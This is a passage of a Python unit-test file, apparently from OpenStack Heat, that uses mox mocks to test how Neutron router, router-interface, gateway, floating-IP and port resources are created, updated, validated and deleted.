).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_template) stack = utils.parse_stack(t) rsrc = self.create_router(t, stack, 'router') rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('3e46229d-8fce-4733-819a-b5fe630550f8', ref_id) self.assertIsNone(rsrc.FnGetAtt('tenant_id')) self.assertEqual('3e21026f2dc94372b105808c0e721661', rsrc.FnGetAtt('tenant_id')) prop_diff = { "admin_state_up": False, "name": "myrouter", "l3_agent_id": "63b3fd83-2c5f-4dad-b3ae-e0f83a40f216" } props = copy.copy(rsrc.properties.data) props.update(prop_diff) update_snippet = rsrc_defn.ResourceDefinition(rsrc.name, rsrc.type(), props) rsrc.handle_update(update_snippet, {}, prop_diff) self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) self.m.VerifyAll() def test_router_dependence(self): # assert the implicit dependency between the router # and subnet t = template_format.parse( neutron_subnet_and_external_gateway_template) stack = utils.parse_stack(t) deps = stack.dependencies[stack['subnet_external']] self.assertIn(stack['router'], deps) required_by = set(stack.dependencies.required_by(stack['router'])) self.assertIn(stack['floating_ip'], required_by) def test_router_interface(self): self._test_router_interface() def test_router_interface_deprecated(self): self._test_router_interface(resolve_neutron=False) def _test_router_interface(self, resolve_neutron=True): neutronclient.Client.add_interface_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'subnet_id': '91e47a57-7508-46fe-afc9-fc454e8580e1'} ).AndReturn(None) neutronclient.Client.remove_interface_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'subnet_id': '91e47a57-7508-46fe-afc9-fc454e8580e1'} ).AndReturn(None) neutronclient.Client.remove_interface_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'subnet_id': '91e47a57-7508-46fe-afc9-fc454e8580e1'} ).AndRaise(qe.NeutronClientException(status_code=404)) t = template_format.parse(neutron_template) stack = utils.parse_stack(t) if resolve_neutron: neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'subnet', '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndReturn('91e47a57-7508-46fe-afc9-fc454e8580e1') self.m.ReplayAll() rsrc = self.create_router_interface( t, stack, 'router_interface', properties={ 'router_id': '3e46229d-8fce-4733-819a-b5fe630550f8', 'subnet': '91e47a57-7508-46fe-afc9-fc454e8580e1' }) else: self.m.ReplayAll() rsrc = self.create_router_interface( t, stack, 'router_interface', properties={ 'router_id': '3e46229d-8fce-4733-819a-b5fe630550f8', 'subnet_id': '91e47a57-7508-46fe-afc9-fc454e8580e1' }) scheduler.TaskRunner(rsrc.delete)() rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') scheduler.TaskRunner(rsrc.delete)() self.m.VerifyAll() def test_router_interface_with_old_data(self): neutronclient.Client.add_interface_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'subnet_id': '91e47a57-7508-46fe-afc9-fc454e8580e1'} ).AndReturn(None) neutronclient.Client.remove_interface_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'subnet_id': '91e47a57-7508-46fe-afc9-fc454e8580e1'} ).AndReturn(None) neutronclient.Client.remove_interface_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'subnet_id': '91e47a57-7508-46fe-afc9-fc454e8580e1'} ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_template) stack = utils.parse_stack(t) rsrc = self.create_router_interface( t, stack, 'router_interface', properties={ 'router_id': '3e46229d-8fce-4733-819a-b5fe630550f8', 'subnet_id': '91e47a57-7508-46fe-afc9-fc454e8580e1' }) self.assertEqual('3e46229d-8fce-4733-819a-b5fe630550f8' ':subnet_id=91e47a57-7508-46fe-afc9-fc454e8580e1', rsrc.resource_id) (rsrc.resource_id) = ('3e46229d-8fce-4733-819a-b5fe630550f8:' '91e47a57-7508-46fe-afc9-fc454e8580e1') scheduler.TaskRunner(rsrc.delete)() self.assertEqual('3e46229d-8fce-4733-819a-b5fe630550f8' ':91e47a57-7508-46fe-afc9-fc454e8580e1', rsrc.resource_id) rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') scheduler.TaskRunner(rsrc.delete)() self.m.VerifyAll() def test_router_interface_with_port_id(self): neutronclient.Client.add_interface_router( 'ae478782-53c0-4434-ab16-49900c88016c', {'port_id': '9577cafd-8e98-4059-a2e6-8a771b4d318e'} ).AndReturn(None) neutronclient.Client.remove_interface_router( 'ae478782-53c0-4434-ab16-49900c88016c', {'port_id': '9577cafd-8e98-4059-a2e6-8a771b4d318e'} ).AndReturn(None) neutronclient.Client.remove_interface_router( 'ae478782-53c0-4434-ab16-49900c88016c', {'port_id': '9577cafd-8e98-4059-a2e6-8a771b4d318e'} ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_template) stack = utils.parse_stack(t) rsrc = self.create_router_interface( t, stack, 'router_interface', properties={ 'router_id': 'ae478782-53c0-4434-ab16-49900c88016c', 'port_id': '9577cafd-8e98-4059-a2e6-8a771b4d318e' }) scheduler.TaskRunner(rsrc.delete)() rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') scheduler.TaskRunner(rsrc.delete)() self.m.VerifyAll() def test_router_interface_validate(self): t = template_format.parse(neutron_template) json = t['Resources']['router_interface'] json['Properties'] = { 'router_id': 'ae478782-53c0-4434-ab16-49900c88016c', 'subnet_id': '9577cafd-8e98-4059-a2e6-8a771b4d318e', 'port_id': '9577cafd-8e98-4059-a2e6-8a771b4d318e'} stack = utils.parse_stack(t) resource_defns = stack.t.resource_definitions(stack) res = router.RouterInterface('router_interface', resource_defns['router_interface'], stack) self.assertRaises(exception.ResourcePropertyConflict, res.validate) json['Properties'] = { 'router_id': 'ae478782-53c0-4434-ab16-49900c88016c', 'port_id': '9577cafd-8e98-4059-a2e6-8a771b4d318e'} stack = utils.parse_stack(t) resource_defns = stack.t.resource_definitions(stack) res = router.RouterInterface('router_interface', resource_defns['router_interface'], stack) self.assertIsNone(res.validate()) json['Properties'] = { 'router_id': 'ae478782-53c0-4434-ab16-49900c88016c', 'subnet_id': '9577cafd-8e98-4059-a2e6-8a771b4d318e'} stack = utils.parse_stack(t) resource_defns = stack.t.resource_definitions(stack) res = router.RouterInterface('router_interface', resource_defns['router_interface'], stack) self.assertIsNone(res.validate()) json['Properties'] = { 'router_id': 'ae478782-53c0-4434-ab16-49900c88016c'} stack = utils.parse_stack(t) resource_defns = stack.t.resource_definitions(stack) res = router.RouterInterface('router_interface', resource_defns['router_interface'], stack) ex = self.assertRaises(exception.StackValidationFailed, res.validate) self.assertEqual("Either subnet or port_id must be specified.", six.text_type(ex)) def test_gateway_router(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn('fc68ea2c-b60b-4b4f-bd82-94ec81110766') neutronclient.Client.add_gateway_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'network_id': 'fc68ea2c-b60b-4b4f-bd82-94ec81110766'} ).AndReturn(None) neutronclient.Client.remove_gateway_router( '3e46229d-8fce-4733-819a-b5fe630550f8' ).AndReturn(None) neutronclient.Client.remove_gateway_router( '3e46229d-8fce-4733-819a-b5fe630550f8' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_template) stack = utils.parse_stack(t) rsrc = self.create_gateway_router( t, stack, 'gateway', properties={ 'router_id': '3e46229d-8fce-4733-819a-b5fe630550f8', 'network': 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' }) scheduler.TaskRunner(rsrc.delete)() rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') scheduler.TaskRunner(rsrc.delete)() self.m.VerifyAll() def _create_router_with_gateway(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'public' ).AndReturn('fc68ea2c-b60b-4b4f-bd82-94ec81110766') neutronclient.Client.create_router({ "router": { "name": "Test Router", "external_gateway_info": { 'network_id': 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', 'enable_snat': True }, "admin_state_up": True, } }).AndReturn({ "router": { "status": "BUILD", "external_gateway_info": None, "name": "Test Router", "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').AndReturn({ "router": { "status": "ACTIVE", "external_gateway_info": { "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "enable_snat": True }, "name": "Test Router", "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "routes": [], "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) def test_create_router_gateway_as_property(self): self._create_router_with_gateway() neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').AndReturn({ "router": { "status": "ACTIVE", "external_gateway_info": { "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "enable_snat": True }, "name": "Test Router", "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "routes": [], "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) self.m.ReplayAll() t = template_format.parse(neutron_external_gateway_template) stack = utils.parse_stack(t) rsrc = self.create_router(t, stack, 'router') rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('3e46229d-8fce-4733-819a-b5fe630550f8', ref_id) gateway_info = rsrc.FnGetAtt('external_gateway_info') self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', gateway_info.get('network_id')) self.assertTrue(gateway_info.get('enable_snat')) self.m.VerifyAll() def test_create_router_gateway_enable_snat(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'public' ).AndReturn('fc68ea2c-b60b-4b4f-bd82-94ec81110766') neutronclient.Client.create_router({ "router": { "name": "Test Router", "external_gateway_info": { 'network_id': 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', }, "admin_state_up": True, } }).AndReturn({ "router": { "status": "BUILD", "external_gateway_info": None, "name": "Test Router", "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').MultipleTimes().AndReturn({ "router": { "status": "ACTIVE", "external_gateway_info": { "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "enable_snat": True }, "name": "Test Router", "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "routes": [], "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) self.m.ReplayAll() t = template_format.parse(neutron_external_gateway_template) t["Resources"]["router"]["Properties"]["external_gateway_info"].pop( "enable_snat") stack = utils.parse_stack(t) rsrc = self.create_router(t, stack, 'router') rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('3e46229d-8fce-4733-819a-b5fe630550f8', ref_id) gateway_info = rsrc.FnGetAtt('external_gateway_info') self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', gateway_info.get('network_id')) self.m.VerifyAll() def test_update_router_gateway_as_property(self): self._create_router_with_gateway() neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'other_public' ).AndReturn('91e47a57-7508-46fe-afc9-fc454e8580e1') neutronclient.Client.update_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'router': { "name": "Test Router", "external_gateway_info": { 'network_id': '91e47a57-7508-46fe-afc9-fc454e8580e1', 'enable_snat': False }, "admin_state_up": True}} ).AndReturn(None) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').AndReturn({ "router": { "status": "ACTIVE", "external_gateway_info": { "network_id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "enable_snat": False }, "name": "Test Router", "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "routes": [], "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) self.m.ReplayAll() t = template_format.parse(neutron_external_gateway_template) stack = utils.parse_stack(t) rsrc = self.create_router(t, stack, 'router') update_template = copy.deepcopy(rsrc.t) update_template['Properties']['external_gateway_info'] = { "network": "other_public", "enable_snat": False } scheduler.TaskRunner(rsrc.update, update_template)() self.assertEqual((rsrc.UPDATE, rsrc.COMPLETE), rsrc.state) gateway_info = rsrc.FnGetAtt('external_gateway_info') self.assertEqual('91e47a57-7508-46fe-afc9-fc454e8580e1', gateway_info.get('network_id')) self.assertFalse(gateway_info.get('enable_snat')) self.m.VerifyAll() def test_delete_router_gateway_as_property(self): self._create_router_with_gateway() neutronclient.Client.delete_router( '3e46229d-8fce-4733-819a-b5fe630550f8' ).AndReturn(None) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_external_gateway_template) stack = utils.parse_stack(t) rsrc = self.create_router(t, stack, 'router') self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) self.m.VerifyAll() class NeutronFloatingIPTest(HeatTestCase): def setUp(self): super(NeutronFloatingIPTest, self).setUp() self.m.StubOutWithMock(neutronclient.Client, 'create_floatingip') self.m.StubOutWithMock(neutronclient.Client, 'delete_floatingip') self.m.StubOutWithMock(neutronclient.Client, 'show_floatingip') self.m.StubOutWithMock(neutronclient.Client, 'update_floatingip') self.m.StubOutWithMock(neutronclient.Client, 'create_port') self.m.StubOutWithMock(neutronclient.Client, 'delete_port') self.m.StubOutWithMock(neutronclient.Client, 'update_port') self.m.StubOutWithMock(neutronclient.Client, 'show_port') self.m.StubOutWithMock(neutronV20, 'find_resourceid_by_name_or_id') self.stub_keystoneclient() def test_floating_ip_router_interface(self): t = template_format.parse(neutron_floating_template) del t['Resources']['gateway'] self._test_floating_ip(t) def test_floating_ip_router_gateway(self): t = template_format.parse(neutron_floating_template) del t['Resources']['router_interface'] self._test_floating_ip(t, r_iface=False) def test_floating_ip_deprecated_router_interface(self): t = template_format.parse(neutron_floating_template_deprecated) del t['Resources']['gateway'] self._test_floating_ip(t, resolve_neutron=False) def test_floating_ip_deprecated_router_gateway(self): t = template_format.parse(neutron_floating_template_deprecated) del t['Resources']['router_interface'] self._test_floating_ip(t, resolve_neutron=False, r_iface=False) def _test_floating_ip(self, tmpl, resolve_neutron=True, r_iface=True): neutronclient.Client.create_floatingip({ 'floatingip': {'floating_network_id': u'abcd1234'} }).AndReturn({'floatingip': { 'id': 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', 'floating_network_id': u'abcd1234' }}) neutronclient.Client.show_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.NeutronClientException(status_code=404)) neutronclient.Client.show_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).MultipleTimes().AndReturn({'floatingip': { 'id': 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', 'floating_network_id': u'abcd1234' }}) neutronclient.Client.delete_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766').AndReturn(None) neutronclient.Client.delete_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766').AndRaise( qe.NeutronClientException(status_code=404)) if resolve_neutron: neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'abcd1234' ).AndReturn('abcd1234') stack = utils.parse_stack(tmpl) # assert the implicit dependency between the floating_ip # and the gateway self.m.ReplayAll() if r_iface: required_by = set(stack.dependencies.required_by( stack['router_interface'])) self.assertIn(stack['floating_ip_assoc'], required_by) else: deps = stack.dependencies[stack['gateway']] self.assertIn(stack['floating_ip'], deps) fip = stack['floating_ip'] scheduler.TaskRunner(fip.create)() self.assertEqual((fip.CREATE, fip.COMPLETE), fip.state) fip.validate() fip_id = fip.FnGetRefId() self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', fip_id) self.assertIsNone(fip.FnGetAtt('show')) self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', fip.FnGetAtt('show')['id']) self.assertRaises(exception.InvalidTemplateAttribute, fip.FnGetAtt, 'Foo') self.assertEqual(u'abcd1234', fip.FnGetAtt('floating_network_id')) scheduler.TaskRunner(fip.delete)() fip.state_set(fip.CREATE, fip.COMPLETE, 'to delete again') scheduler.TaskRunner(fip.delete)() self.m.VerifyAll() def test_port(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'xyz1234' ).AndReturn('xyz1234') neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'subnet', 'sub1234' ).AndReturn('sub1234') neutronclient.Client.create_port({'port': { 'network_id': u'xyz1234', 'fixed_ips': [ {'subnet_id': u'sub1234', 'ip_address': u'10.0.0.10'} ], 'name': utils.PhysName('test_stack', 'port_floating'), 'admin_state_up': True}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.PortNotFoundClient(status_code=404)) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).MultipleTimes().AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.update_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', { 'port': { 'fixed_ips': [ {'subnet_id': 'sub1234', 'ip_address': '10.0.0.11'} ], 'admin_state_up': True, 'name': 'test_port', 'device_id': 'd6b4d3a5-c700-476f-b609-1493dd9dadc2', 'device_owner': 'network:floatingip' } } ).AndReturn(None) self.m.ReplayAll() t = template_format.parse(neutron_floating_template) stack = utils.parse_stack(t) p = stack['port_floating'] scheduler.TaskRunner(p.create)() self.assertEqual((p.CREATE, p.COMPLETE), p.state) p.validate() port_id = p.FnGetRefId() self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', port_id) self.assertIsNone(p.FnGetAtt('status')) self.assertEqual('ACTIVE', p.FnGetAtt('status')) self.assertRaises( exception.InvalidTemplateAttribute, p.FnGetAtt, 'Foo') self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', p.resource_id) props = { "network": "xyz1234", "fixed_ips": [{ "subnet_id": "sub1234", "ip_address": "10.0.0.11" }], "name": "test_port", "device_id": "d6b4d3a5-c700-476f-b609-1493dd9dadc2", 'device_owner': 'network:floatingip' } update_snippet = rsrc_defn.ResourceDefinition(p.name, p.type(), props) p.handle_update(update_snippet, {}, {}) self.m.VerifyAll() def test_floatip_association_port(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'abcd1234' ).AndReturn('abcd1234') neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'xyz1234' ).AndReturn('xyz1234') neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'subnet', 'sub1234' ).AndReturn('sub1234') neutronclient.Client.create_floatingip({ 'floatingip': {'floating_network_id': u'abcd1234'} }).AndReturn({'floatingip': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.create_port({'port': { 'network_id': u'xyz1234', 'fixed_ips': [ {'subnet_id': u'sub1234', 'ip_address': u'10.0.0.10'} ], 'name': utils.PhysName('test_stack', 'port_floating'), 'admin_state_up': True}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) # create as neutronclient.Client.update_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', { 'floatingip': { 'port_id': u'fc68ea2c-b60b-4b4f-bd82-94ec81110766'}} ).AndReturn({'floatingip': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) # update as with port_id neutronclient.Client.update_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', { 'floatingip': { 'port_id': u'2146dfbf-ba77-4083-8e86-d052f671ece5', 'fixed_ip_address': None}} ).AndReturn({'floatingip': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) # update as with floatingip_id neutronclient.Client.update_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', {'floatingip': { 'port_id': None }}).AndReturn(None) neutronclient.Client.update_floatingip( '2146dfbf-ba77-4083-8e86-d052f671ece5', { 'floatingip': { 'port_id': u'2146dfbf-ba77-4083-8e86-d052f671ece5', 'fixed_ip_address': None}} ).AndReturn({'floatingip': { "status": "ACTIVE", "id": "2146dfbf-ba77-4083-8e86-d052f671ece5" }}) # update as with both neutronclient.Client.update_floatingip( '2146dfbf-ba77-4083-8e86-d052f671ece5', {'floatingip': { 'port_id': None }}).AndReturn(None) neutronclient.Client.update_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', { 'floatingip': { 'port_id': u'ade6fcac-7d47-416e-a3d7-ad12efe445c1', 'fixed_ip_address': None}} ).AndReturn({'floatingip': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) # delete as neutronclient.Client.update_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', {'floatingip': { 'port_id': None }}).AndReturn(None) neutronclient.Client.delete_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(None) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.PortNotFoundClient(status_code=404)) neutronclient.Client.delete_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(None) neutronclient.Client.update_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', {'floatingip': { 'port_id': None }}).AndRaise(qe.NeutronClientException(status_code=404)) neutronclient.Client.delete_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.PortNotFoundClient(status_code=404)) neutronclient.Client.delete_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_floating_template) stack = utils.parse_stack(t) fip = stack['floating_ip'] scheduler.TaskRunner(fip.create)() self.assertEqual((fip.CREATE, fip.COMPLETE), fip.state) p = stack['port_floating'] scheduler.TaskRunner(p.create)() self.assertEqual((p.CREATE, p.COMPLETE), p.state) fipa = stack['floating_ip_assoc'] scheduler.TaskRunner(fipa.create)() self.assertEqual((fipa.CREATE, fipa.COMPLETE), fipa.state) fipa.validate() fipa_id = fipa.FnGetRefId() fip_id = fip.FnGetRefId() port_id = p.FnGetRefId() self.assertEqual('%s:%s' % (fip_id, port_id), fipa_id) # test update FloatingIpAssociation with port_id props = copy.deepcopy(fipa.properties.data) update_port_id = '2146dfbf-ba77-4083-8e86-d052f671ece5' props['port_id'] = update_port_id update_snippet = rsrc_defn.ResourceDefinition(fipa.name, fipa.type(), stack.t.parse(stack, props)) scheduler.TaskRunner(fipa.update, update_snippet)() self.assertEqual((fipa.UPDATE, fipa.COMPLETE), fipa.state) # test update FloatingIpAssociation with floatingip_id props = copy.deepcopy(fipa.properties.data) update_flip_id = '2146dfbf-ba77-4083-8e86-d052f671ece5' props['floatingip_id'] = update_flip_id update_snippet = rsrc_defn.ResourceDefinition(fipa.name, fipa.type(), props) scheduler.TaskRunner(fipa.update, update_snippet)() self.assertEqual((fipa.UPDATE, fipa.COMPLETE), fipa.state) # test update FloatingIpAssociation with port_id and floatingip_id props = copy.deepcopy(fipa.properties.data) update_flip_id = 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' update_port_id = 'ade6fcac-7d47-416e-a3d7-ad12efe445c1' props['floatingip_id'] = update_flip_id props['port_id'] = update_port_id update_snippet = rsrc_defn.ResourceDefinition(fipa.name, fipa.type(), props) scheduler.TaskRunner(fipa.update, update_snippet)() self.assertEqual((fipa.UPDATE, fipa.COMPLETE), fipa.state) scheduler.TaskRunner(fipa.delete)() scheduler.TaskRunner(p.delete)() scheduler.TaskRunner(fip.delete)() fipa.state_set(fipa.CREATE, fipa.COMPLETE, 'to delete again') fip.state_set(fip.CREATE, fip.COMPLETE, 'to delete again') p.state_set(p.CREATE, p.COMPLETE, 'to delete again') scheduler.TaskRunner(fipa.delete)() self.assertIsNone(scheduler.TaskRunner(p.delete)()) scheduler.TaskRunner(fip.delete)() self.m.VerifyAll() def test_floatip_port(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'xyz1234' ).AndReturn('xyz1234') neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'subnet', 'sub1234' ).AndReturn('sub1234') neutronclient.Client.create_port({'port': { 'network_id': u'xyz1234', 'fixed_ips': [ {'subnet_id': u'sub1234', 'ip_address': u'10.0.0.10'} ], 'name': utils.PhysName('test_stack', 'port_floating'), 'admin_state_up': True}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'abcd1234' ).AndReturn('abcd1234') neutronclient.Client.create_floatingip({ 'floatingip': { 'floating_network_id': u'abcd1234', 'port_id': u'fc68ea2c-b60b-4b4f-bd82-94ec81110766' } }).AndReturn({'floatingip': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) # update with new port_id neutronclient.Client.update_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', { 'floatingip': { 'port_id': u'2146dfbf-ba77-4083-8e86-d052f671ece5', 'fixed_ip_address': None}} ).AndReturn({'floatingip': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) # update with None port_id neutronclient.Client.update_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', { 'floatingip': { 'port_id': None, 'fixed_ip_address': None}} ).AndReturn({'floatingip': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.delete_floatingip( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(None) neutronclient.Client.delete_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(None) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.PortNotFoundClient(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_floating_no_assoc_template) stack = utils.parse_stack(t) # check dependencies for fip resource required_by = set(stack.dependencies.required_by( stack['router_interface'])) self.assertIn(stack['floating_ip'], required_by) p = stack['port_floating'] scheduler.TaskRunner(p.create)() self.assertEqual((p.CREATE, p.COMPLETE), p.state) fip = stack['floating_ip'] scheduler.TaskRunner(fip.create)() self.assertEqual((fip.CREATE, fip.COMPLETE), fip.state) # test update FloatingIp with port_id props = copy.deepcopy(fip.properties.data) update_port_id = '2146dfbf-ba77-4083-8e86-d052f671ece5' props['port_id'] = update_port_id update_snippet = rsrc_defn.ResourceDefinition(fip.name, fip.type(), stack.t.parse(stack, props)) scheduler.TaskRunner(fip.update, update_snippet)() self.assertEqual((fip.UPDATE, fip.COMPLETE), fip.state) # test update FloatingIp with None port_id props = copy.deepcopy(fip.properties.data) del(props['port_id']) update_snippet = rsrc_defn.ResourceDefinition(fip.name, fip.type(), stack.t.parse(stack, props)) scheduler.TaskRunner(fip.update, update_snippet)() self.assertEqual((fip.UPDATE, fip.COMPLETE), fip.state) scheduler.TaskRunner(fip.delete)() scheduler.TaskRunner(p.delete)() self.m.VerifyAll() class NeutronPortTest(HeatTestCase): def setUp(self): super(NeutronPortTest, self).setUp() self.m.StubOutWithMock(neutronclient.Client, 'create_port') self.m.StubOutWithMock(neutronclient.Client, 'show_port') self.m.StubOutWithMock(neutronclient.Client, 'update_port') self.m.StubOutWithMock(neutronclient.Client, 'show_subnet') self.m.StubOutWithMock(neutronV20, 'find_resourceid_by_name_or_id') self.stub_keystoneclient() def test_missing_subnet_id(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'net1234' ).AndReturn('net1234') neutronclient.Client.create_port({'port': { 'network_id': u'net1234', 'fixed_ips': [ {'ip_address': u'10.0.3.21'} ], 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True, 'device_owner': u'network:dhcp'}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": 